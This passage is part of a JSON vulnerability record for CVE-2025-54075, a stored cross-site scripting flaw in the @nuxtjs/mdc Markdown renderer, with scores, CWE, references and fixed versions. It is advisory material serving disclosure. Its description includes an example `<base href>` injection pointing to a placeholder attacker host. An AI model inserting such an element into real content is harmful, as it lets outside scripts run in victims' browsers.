Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href=\"https://attacker.tld\">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.","cvss_v4":null,"cvss_v3":{"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","score":8.3},"cwes":["CWE-79"],"references":["https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a","https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82","https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82"],"products":[],"source":"nvd","synced_at":"2026-10-19T22:05:46.678065081+00:00"},"epss":{"cve":"CVE-2025-54075","score":0.00344,"percentile":0.27994,"date":"2026-10-31"},"kev":null,"osv":[{"id":"GHSA-cj6r-rrr9-fg82","url":"https://osv.dev/vulnerability/GHSA-cj6r-rrr9-fg82","summary":"Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering","modified":"2026-09-10T03:50:57.907996530Z","packages":[{"ecosystem":"npm","name":"@nuxtjs/mdc","purl":"pkg:npm/%40nuxtjs/mdc","ranges":["<0.17.2"],"fixed":["0.17.2"]}]}],"attribution":["This product uses the NVD API but is not endorsed or certified by the NVD.","EPSS scores: FIRST Exploit Prediction Scoring System, https://www.first.org/epss","Known exploited vulnerabilities: CISA Known Exploited Vulnerabilities Catalog, https://www.cisa.gov/known-exploited-vulnerabilities-catalog","Package advisories: OSV (https://osv.dev), from the GitHub Advisory Database, PyPA, Go, RustSec and other ecosystem databases, under CC-BY 4.0 or CC0","CVE records: the CVE Program's CVE List (https://www.cve.org), under its terms of use (https://www.cve.org/Legal/TermsOfUse).
